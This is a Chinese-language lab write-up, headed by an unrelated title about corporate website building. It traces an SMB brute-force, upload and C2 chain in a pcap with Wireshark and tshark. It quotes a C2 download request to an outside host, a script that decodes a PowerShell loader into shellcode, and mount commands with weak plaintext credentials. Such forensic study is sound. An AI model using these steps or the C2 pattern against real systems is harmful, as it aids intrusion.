企业官网建设流程全解析

最近整理靶场记录，翻到一个很有意思的题目：靶机开了 SMB 共享，共享目录里躺着一个 pcap 流量包，任务要求把包拿下来，用 Wireshark 还原攻击者的操作，最后从流量里把传输载荷提取出来并修复成可运行的样本。这道题表面看是“打开一个 pcap 看两眼”，真上手才发现，它把 SMB 协议理解、Wireshark 追踪流、文件导出、恶意载荷修复这些基本功串成了一条完整的应急响应链路。对于做蓝队、搞应急响应，或者准备渗透测试认证的朋友来说，这种题含金量很高——你平时可能单独用过每个工具，但把它们按真实攻击场景串起来的机会并不多。

这篇文章我把整个流程完整走一遍，每个关键操作都会解释为什么这么做，参数怎么选，以及我踩过的坑。内容不光是“怎么点鼠标”，更多是“怎么思考”。

1. 先理解这道靶场题：场景、攻击链与工具准备

1.1 为什么攻击者偏爱 SMB 共享

SMB（Server Message Block）协议在 Windows 内网里几乎是“基础设施级”的存在，445 端口承载着文件共享、打印机共享等日常业务。也正因为太常见，攻击者非常喜欢拿它当跳板：弱口令爆破、空会话枚举、利用共享目录投放恶意文件，甚至把 SMB 当作 C2 通信通道的一部分。内网业务流量里混杂着大量 SMB 包，恶意行为混在里面极难被传统流量设备识别——你总不能把公司所有文件共享都禁了吧。

这道靶场题的设计逻辑就来自这个真实背景：攻击者已经拿下一台主机，在内网抓了一段 pcap，随后把抓包文件传到 SMB 共享目录，当作“战利品”或者给下一阶段攻击者留的“情报包”。分析人员要做的是顺着这个共享目录找到 pcap，再从流量里反推攻击者的行为痕迹。

这类题目考的其实是你对 Windows 内网攻击链的熟悉程度。SMB 共享不是一个孤立的文件仓库，它连接着凭据、共享权限、协议版本、传输内容等多个维度。拿到一个共享里的 pcap，你不仅要会打开它，还要能回答：流量里有哪些主机在通信？谁在扫描谁？谁在爆破？爆破成功后传输了什么文件？这些文件是不是恶意载荷？

1.2 攻击链拆解与靶场设计逻辑

拿我这次遇到的靶场来说，完整链路大致是：

1. 攻击者从外部扫描发现目标主机开放了 445 端口。
2. 对该主机执行 SMB 弱口令爆破，成功拿到一个低权限账号。
3. 通过 SMB 共享上传了一个伪装文件，同时放置了一个 pcap 抓包文件。
4. 上传的伪装文件回连 C2 服务器，下载第二阶段载荷。
5. 分析人员从 SMB 共享目录获取 pcap，从流量包中还原上述全部过程。

这个链路设计得很典型。你先用 SMB 客户端连上共享，把 pcap 拉下来，打开后你会发现流量里不仅有 SMB 爆破的痕迹，还有后续 C2 通信的完整记录。不是每一步都写在明面上，比如攻击者上传的文件名可能伪装成图片或文档，实际载荷却藏在 HTTP 流或 SMB Write 请求里，需要你一层层剥开。

靶场和真实应急响应的差别在于，靶场把“证据”集中放在了一个 pcap 里，而真实场景可能需要从全流量系统、终端日志、防火墙日志多个来源交叉分析。但分析思路是通用的，你在靶场里练熟的一套 Wireshark 操作，在真实事件中同样适用。

1.3 环境与工具清单

做这类题，环境准备很重要。先说结论：一台装好 Kali 的虚拟机，一台 Windows 虚拟机（也可以没有，直接用 Kali 跑 Wireshark），再加上必要的命令行工具，就足够覆盖 90% 的场景。

如果你在 Windows 上做分析，建议装上 Wireshark 4.0 以上的版本。老版本对 SMB2 的解析有一些细节问题，特别是对嵌套 SMB2 写入数据的还原不如新版准确。另外，装完 Wireshark 记得把 tshark 加入环境变量，后面用命令行处理大 pcap 非常方便。

2. 连接 SMB 共享，拿到 pcap 流量包

2.1 先用 smbclient 探明白共享目录

拿到靶机 IP 后，我习惯先做一次共享枚举。靶场一般会给一组凭据，也可能存在空会话。用 smbclient 的-L参数可以列出目标主机的所有共享：

smbclient -L //192.168.1.100 -U admin

如果想直接进入某个共享目录，用下面的命令：

smbclient //192.168.1.100/share -U admin

进入后是类似 FTP 的交互界面，ls查看文件、get下载文件、put上传文件。实战中如果目标是 Windows Server，有些共享是隐藏的，名字后面带$（比如C$、ADMIN$），普通 smbclient 默认不显示，需要手动指定才能连接。

我看到共享目录里有一个capture.pcap文件，旁边还有一个名为document.jpg的文件。第一反应这不是普通图片，等会儿下载下来一起带回去分析。先别急着点开任何文件——在 SMB 共享里看到的东西都可能带刺，正确的做法是先拉到本地，再在隔离环境里检查。

2.2 挂载共享目录并下载 pcap

对于目录层级比较多、文件比较大的情况，用 smbclient 一条条 get 效率太低。我更推荐直接挂载到本地，像操作本地目录一样处理：

mkdir /mnt/smb_share mount -t cifs //192.168.1.100/share /mnt/smb_share -o username=admin,password=123456

注意，如果目标 SMB 版本比较老，比如 Windows Server 2008 默认的 SMB 2.0，某些发行版新内核的 cifs 默认协商版本可能不兼容，需要显式指定版本：

mount -t cifs //192.168.1.100/share /mnt/smb_share -o username=admin,password=123456,vers=2.0

挂载成功后，直接用 cp 命令把 pcap 复制到本地工作目录：

cp /mnt/smb_share/capture.pcap /root/lab/

顺带把那个document.jpg也拷回来。后面的分析证明，这个决定帮了大忙——伪装文件本身就参与了 C2 通信。

2.3 别急着双击打开：先验证 pcap 文件本身

从 SMB 共享上拉下来的文件，我建议先做三件事：

第一，计算哈希值并记录。后面你要把提取的载荷和原始 pcap 建立关联，哈希值就是它们的“身份证”。第二，用file命令确认文件类型。很多时候文件名和真实内容对不上，document.jpg实际可能是个 PE 文件或者脚本，file一眼就能识别。第三，查看文件头，确认 pcap 格式是否正常。

md5sum capture.pcap document.jpg file capture.pcap document.jpg xxd capture.pcap | head -20

pcap 文件的标准 magic number 是d4 c3 b2 a1（小端序）或a1 b2 c3 d4（大端序）。如果你看到的是0a 0d 0d 0a，那其实是 pcapng 格式，Wireshark 同样能打开，但处理细节上有差异。这里file输出显示是标准的 pcap，magic 也正常，说明抓包过程没有被篡改或者截断。

这时候再看一眼 pcap 的全局头，里面记录了 snaplen（抓包长度上限）。如果 snaplen 很小，比如 96 或 128，就说明抓包时只记录了每个数据包的前几十字节，应用层数据大概率不完整，这对载荷提取是致命的。我检查了这里的 snaplen 是 65535，说明完整记录了每个包的全部内容，可以放心往下走。

3. Wireshark 全局视角：先看全貌再追踪细节

3.1 5 分钟建立全局观：协议分级与会话统计

双击打开 pcap，第一步不是狂点数据包，而是先看统计信息。我的习惯顺序是：Statistics 菜单下的 Protocol Hierarchy、Conversations、Endpoints。

Protocol Hierarchy 能告诉你这个 pcap 里都有哪些协议、各占多少流量。如果看到一个 pcap 里 SMB 流量占比异常高，说明很可能发生了共享文件传输或爆破；如果 HTTP 流量集中在某几个 IP 之间，就要留意 Web 攻击或 C2 通信。

Conversations 展示的是主机之间的会话列表，按数据包数量或字节数排序。我一般先按“数据包数”排序，找出通信最频繁的 IP 对，再用“字节数”排序，找出传输量最大的会话。攻击者上传恶意文件通常会产生明显的流量峰值，在高字节数会话里找线索是最高效的路径。

Endpoints 则把所有参与通信的 IP 和 MAC 地址列出来，方便你快速建立“网络节点地图”。在这个 pcap 里，我注意到 192.168.1.100 和 192.168.1.55 之间有大量 SMB 会话，同时 192.168.1.55 还主动连接了外网 IP 203.0.113.10 的 443 端口。这个外连行为很扎眼，内网主机主动连外网，基本可以断定是 C2 通道或者木马回连。

3.2 拨开协议树：SMB2 关键命令与过滤语句

Wireshark 的过滤栏是流量分析的核心工具。这里整理了几个我在实战中高频使用的过滤语句，覆盖了 SMB 会话、HTTP 流量、DNS 外联三类场景：

用smb2.cmd == 0x09（SMB2 Write）过滤之后，我发现 192.168.1.55 向 192.168.1.100 的共享目录写入过几个文件，其中就包括共享目录里看到的document.jpg，以及一个名为update.bin的文件。这个update.bin之前被忽略了，在共享目录列举时文件管理界面里没有出现，很可能是个隐藏文件。写到这一步，攻击者的意图已经开始清晰：上传伪装文件到共享目录，是一种“落盘”动作，下一步通常是执行或者回连。

3.3 从时间线还原攻击节奏

Wireshark 底部有一条时间线，但我建议把时间列显示格式调整一下，方便梳理攻击节奏。默认显示的是“Seconds Since Previous Captured Packet”，也就是相对上一个包的时间。右键时间列，选择“Set Time Display Format”，改成“Time of Day”（绝对时间），这样能对应到具体的攻击发生时刻。

然后逐段缩放时间轴，你会发现流量有明显的三个阶段：

第一阶段是大规模的 TCP SYN 扫描，源地址 10.0.0.88 对 192.168.1.100 的多个端口发起连接尝试，时间集中在前 5 分钟。第二阶段 SMB 流量出现大量 Session Setup 请求，这是典型的爆破特征——短时间内多个用户名密码组合的认证尝试，大部分返回 STATUS_LOGON_FAILURE。第三阶段认证成功的 SMB 会话建立，紧接着出现了大的 SMB Write 数据包，再往后就是 HTTP 外联。

把时间线拉通，攻击者的动作顺序就拼出来了：扫描 -> 爆破 -> 登录 -> 上传文件 -> 回连外网。这也正好对应了前面 1.2 节预测的攻击链，溯源工作到这里已经完成一半。

4. 溯源攻击者：还原从爆破到上传的完整动作

4.1 SMB 会话全程复盘：从 Negotiate 到 Write

很多人分析 SMB 流量时只看文件名，但真正的高手会看 SMB2 的命令序列。一个完整的 SMB 文件写入操作，必然经历以下命令：

Negotiate（协商协议版本）-> Session Setup（身份认证）-> Tree Connect（连接共享）-> Create（创建文件）-> Write（写入数据）-> Close（关闭句柄）

在 Wireshark 里过滤smb2.cmd == 0x00可以找到协议协商包，点开能看到客户端和服务器协商出的 SMB 版本。这里双方协商结果是 SMB 2.0.2，说明目标主机是一台较旧的 Windows Server 系统，这也解释了为什么 SMB 爆破能成功——老系统上常常存在弱口令账号和过时的安全配置。

跟着 SMB2 Create 包，能看到创建的文件路径、文件属性、访问标志。我用smb2.cmd == 0x05过滤后，发现update.bin被创建时带了一个FILE_ATTRIBUTE_HIDDEN属性。这就解释了为什么在共享目录里直接列文件时看不到它。这个细节一定要记下来，后面找载荷时，隐藏文件往往是关键目标。

4.2 提取 SMB 传输文件：Export Objects 实战

Wireshark 提供了一个非常强大的功能：File -> Export Objects -> SMB。这个功能会把 SMB 协议中传输过的文件全部列出来，相当于把流量里的“文件传输记录”直接变成可导出的文件列表。

这里我看到了document.jpg和update.bin，点击 Save All 把文件导出到本地指定目录。导出的文件是流量里真实传输的字节序列，跟攻击者原始上传的文件完全一致。

不过要注意，Export Objects 依赖协议解析器对 SMB Write 请求的正确重组。如果 SMB 写入被拆分成多个 Write 请求，或者文件不是一次性写入，早期版本的 Wireshark 可能导出不完整。我用的 Wireshark 4.0 导出结果很完整，文件大小和 SMB Write 请求中的写入长度一致，校验哈希后确认没有丢数据。

4.3 攻击源画像与横向痕迹

溯源攻击者不只是看 IP，还要把能拼出来的细节都拼上。

先看 IP 层。攻击源 10.0.0.88 的 TTL 值初始是 128 左右（Windows 系统常见初始 TTL 为 128），而目标 192.168.1.100 的 TTL 是 64（Linux 特征）。这说明攻击者可能使用了一台 Windows 机器作为跳板，这对排除干扰流量、定位真正的攻击入口有帮助。

SMB Session Setup 请求里的账号名、域名信息同样重要。爆破成功后建立会话的用户名是administrator，工作组是WORKGROUP，密码策略显然没有做账户锁定和复杂度限制，导致弱口令被快速猜解。在真实应急响应中，这个信息可以回查域控日志，看同一个账户还有没有在其他机器上登录过。

再看传输层行为。爆破阶段的数据包大小非常规律，TCP 连接频繁建立和断开，没有正常的文件传输行为，这种“模式化”的流量也是判断自动化工具的辅助证据。

关于横向移动，这个 pcap 里暂时没有看到攻击者通过 SMB 登录其他主机的行为，但 C2 外联已经存在，后续的横向动作很可能发生在流量捕获之后。所以这张 pcap 给出的结论是：攻击者已经立足，但横向尚未全面展开。

4.4 追溯恶意载荷来源：从流量看 C2

攻击者上传文件后，接下来的外联动作非常关键。在 HTTP 过滤器中输入http.request，我找到了document.jpg相关的请求——这个伪装成图片的文件在网络中实际上扮演了下载器的角色，它请求了一个 URL：

GET /images/profile.php HTTP/1.1 Host: 203.0.113.10 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36

这个 URL 的路径伪装成图片资源，但响应体不是图片数据，而是一段经过编码的数据流。响应头里的Content-Type: application/octet-stream暴露了真相——服务器返回的是二进制文件，不是图片。用tcp.stream eq <编号>追踪这条 TCP 流，可以看到完整的请求与响应交互，这也是后面提取载荷的切入点。

C2 判定的另一个重要证据来自 DNS 查询。过滤dns后，能看到内网主机频繁查询一个陌生域名，这个域名在 pcap 开始之前从未出现过，每次查询间隔固定，很像是 beacon 的 DNS 隧道或域前置通信。把这个域名记下来，它就是 IOC（失陷指标）的一部分。

5. 提取传输载荷并完成修复

5.1 三种从 pcap 抠载荷的方法

明确了载荷在 HTTP 响应里，接下来就是提取。根据场景不同，有三种常用方法：

第一种，File -> Export Objects -> HTTP。这个是图形界面最快的方式，直接把所有 HTTP 传输对象列出来。适合载荷是完整文件、且响应没有分包错乱的情况。缺点是一旦 HTTP 响应跨了多个 TCP 段，或者传输中途有重传，导出的对象可能不完整。

第二种，右键追踪 TCP 流，在 Follow TCP Stream 窗口里把 Show data as 改为 Raw，然后 Save as 导出原始字节。这种方式能拿到完整 TCP 流的应用层数据，不经过 HTTP 解析器的“加工”，最接近线上真实传输的数据。

第三种，命令行工具 tshark 提取，适合大批量处理和后续脚本化分析：

tshark -r capture.pcap -Y "http.response" -T fields -e http.file_data -e http.content_length > payload.bin

这里把 HTTP 响应体的文件数据直接导出为二进制。如果需要更精准地按流提取，可以用-z follow,tcp,raw,<流编号>参数：

tshark -r capture.pcap -z follow,tcp,raw,15

我在这个靶场里用的是第二种 —— 追 TCP 流导原始数据。因为前面看到响应体是application/octet-stream，而且数据跨了 3 个 TCP 段，直接导出 HTTP 对象有截断风险。

5.2 一次完整的载荷修复过程

导出后的数据文件命名为payload_download.bin，接下来开始修复。这步是整个流程最有意思的地方，也是我最想分享细节的部分。

先看文件类型：

file payload_download.bin

输出是gzip compressed data，说明载荷是个 gzip 压缩包。直接解压：

mv payload_download.bin payload.gz gzip -d payload.gz

解压后得到payload，再file payload，结果显示这是一个 PowerShell 脚本。用文本编辑器打开，发现脚本主体是一长串 Base64 编码的字符串，夹杂着几个可疑的变量赋值。

第一层 Base64 解码：

python3 -c "import base64; data=open('payload','r').read().split('\"')[1]; print(base64.b64decode(data))" > decoded.ps1

解码后发现这是一段 PowerShell 加载器代码，里面调用了Invoke-Expression和一个从字节数组加载 shellcode 的函数。到这里，恶意行为的性质已经确定了。

但还没完。我注意到脚本第二层有一段字符串看起来是 Base64，但解码时报错，提示长度不是 4 的倍数。检查后发现了问题：从 TCP 流导出的原始数据里混入了 HTTP 头尾的残留字节。HTTP chunked 传输编码的边界标记（十六进制的长度值）混进了二进制数据里，导致 Base64 字符串中间多了几个字节。

修复方法是把当前 Base64 字符串中不属于 Base64 字符集的字节过滤掉，再按 4 字节对齐重新解码：

import base64, re raw = open('decoded.ps1', 'rb').read().decode('utf-8', errors='ignore') # 提取双引号中的 Base64 内容 m = re.search(r'"([A-Za-z0-9+/=]+)"', raw) if m: b64str = m.group(1) # 去掉非法字符 b64str = re.sub(r'[^A-Za-z0-9+/=]', '', b64str) # 补全到4的倍数 b64str += '=' * ((4 - len(b64str) % 4) % 4) shellcode = base64.b64decode(b64str) open('shellcode.bin', 'wb').write(shellcode) print('shellcode length:', len(shellcode))

跑出来后，shellcode.bin有 276 字节。用xxd查看开头：

fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30

fc e8这个开头是经典的 x86 shellcode 前缀，对应的是从 PEB 遍历导出表、解析 API 地址的早期 shellcode。到这里，载荷修复完成：从 HTTP 响应中提取 gzip -> 解压得到 PowerShell 脚本 -> Base64 解码 -> 去除传输污染字节 -> 还原出 shellcode。这个 shellcode 就是攻击者最终要加载执行的传输载荷。

5.3 修复后的样本验证与 IOC 沉淀

拿到修复后的 shellcode，不能只看一眼就完事，要验证它的行为并沉淀 IOC。

先把 shellcode 放到一个可控的位置，用scdbg（shellcode 调试器）跑一下，观察它调用了哪些 API。我这里的样本调用序列里有LoadLibraryA和GetProcAddress，随后出现了WinExec，说明这是一个典型的“下载并执行”或“反弹 shell”的前置 shellcode。

再结合此前 C2 域名和 IP，把 IoC 信息整理到一张表里，方便后续检测：

这些 IOC 可以高度集成到安全设备的检测规则里，比如在流量检测设备上针对 C2 域名加黑名单，在主机的 Sysmon 日志里查update.bin的创建进程，或者在企业全流量系统里搜 C2 IP 的所有通信记录。

6. 实战中的高频问题与排查技巧

6.1 Wireshark 显示字节不全怎么办

我在网上看到不少人问“Wireshark 为什么只能显示 520 字节数据”，这大概率是以下几个原因之一。

第一，抓包时的 snaplen 太小。用 tcpdump 抓包时如果加了-s 96这类参数，每个数据包只保留前 96 字节，应用层数据被截断，Wireshark 当然显示不完整。标准做法是tcpdump -s 0，表示抓取整个数据包。如果是别人给的 pcap，可以在全局头文件里看 snaplen 是多少。

第二，TCP 重组设置没开。默认情况下 Wireshark 会重组 TCP 流，但如果关闭了相关选项，同一个 HTTP 响应分散在多个 TCP 段时就只显示每个段的当前载荷，看起来像“只有几百字节”。解决办法：Edit -> Preferences -> Protocols -> TCP，把Allow subdissector to reassemble TCP streams和Reassemble out-of-order segments勾上。

第三，显示偏移定位错误。Wireshark 默认显示相对序列号，如果你手工按绝对序找到某个包，可能因为序列号回绕导致数据错位。在 Preferences -> Protocols -> TCP 里关闭Relative sequence numbers可以看到绝对序列号，排查序列号问题时更直观。

如果数据确实被截断但 pcap 已经拿到手，唯一的补救方式是找原始流量重新抓包。所以我在 2.3 节特意强调先检查 snaplen，就是为了避免后面白忙一场。

6.2 pcap 转文本与命令行处理

Wireshark 图形界面处理几百 MB 的大 pcap 会很卡，这时候 tshark 是更好的选择。

最常用的把 pcap 转成可读文本的命令：

tshark -r capture.pcap -V > output.txt

-V参数输出每个包的详细协议树，和 Wireshark 图形界面点开一个包看到的信息一致。如果你只关心 IP、端口、时间戳这类字段，用-T fields指定字段更高效：

tshark -r capture.pcap -T fields -e frame.time -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -E separator=,

这个命令输出的 CSV 可以直接导入 Excel 或 Python 做进一步分析。我在分析爆破行为时就用它统计了每个源 IP 在单位时间内的 Session Setup 失败次数，一眼就锁定暴力破解来源。

另一个实用技巧是先用 tshark 按条件过滤出子集，再用 Wireshark 打开子集，避免大文件拖慢界面。比如只保留 SMB 流量：

tshark -r capture.pcap -Y "smb2" -w smb_only.pcap

然后再用 Wireshark 打开smb_only.pcap，流畅度完全不一样。如果是想提取某个字段的统计，用 tshark 的统计插件：

tshark -r capture.pcap -z conv,tcp -q

这个命令在终端直接列出 TCP 会话统计，和图形界面的 Conversations 效果一样。

6.3 SMB 连接不上？从协议版本查起

做 SMB 共享分析时，经常遇到 Linux 端挂载 Windows 共享失败。多数不是命令敲错，而是 SMB 协议版本协商出了问题。

Windows Server 2008 默认支持 SMB 2.0，但新版 Linux 内核的 cifs 驱动默认协商 SMB 2.1 或更高版本，如果目标主机禁用了更高版本，挂载时就会报协议协商失败。这时候显式指定低版本即可：

mount -t cifs //192.168.1.100/share /mnt/smb_share -o username=admin,password=123456,vers=1.0

如果目标主机开启了 SMB 签名（SMB Signing），挂载时还要加上sec=ntlmssp或者iocharset=utf8参数，否则可能认证成功但后续操作报权限错误。常见的完整挂载参数组合：

mount -t cifs //192.168.1.100/share /mnt/smb_share -o username=admin,password=123456,vers=2.0,sec=ntlmssp,iocharset=utf8

另外，mf6100 扫描文件 SMB 传输失败这类打印机共享问题在内网也经常遇到，通常是打印机固件只支持 SMB 1.0，而 Windows 10/Server 2016 以后默认禁用了 SMB 1.0，导致扫描发送失败。解决方法要么在 Windows 侧重新启用 SMB 1.0（不建议在公网环境开），要么给打印机配置 FTP 共享替代。

最后一个容易被忽略的问题：本地防火墙。Kali 挂载时出不去，有时候不是目标的问题，而是本机防火墙拦了出站 445。用ufw status检查一下，必要时放行。

写在最后的一点体会

这类靶场题做多了你会发现，真正难的不是某个单一操作，而是你有没有“顺着流量讲故事”的能力。SMB 共享拿 pcap 只是入口，Wireshark 只是工具，整个分析过程的灵魂是把散落在各个协议层里的碎片拼成一条完整的攻击链：看到爆破失败能想到弱口令，看到隐藏文件能想到防清理，看到外联能想到 C2，看到编码数据能想到载荷隐藏。这个“直觉”没有捷径，就是多看多拆多复盘。我自己的做法是每做完一个靶场，就把 pcap 里最有代表性的几条流截出来，自己再重新追踪一遍，直到不需要看笔记也能快速定位到关键包。

最后再分享一个实用小技巧：分析完 pcap 后不要急着关，用 tshark 把所有可疑流导出成单独的小 pcap 存好。后续写报告、做复现、做检测规则时，这些小样本比原始大 pcap 好用得多。流量分析是个熟练活，也是个积累活，手里的样本多了，下次遇到类似攻击，一眼就能认出套路。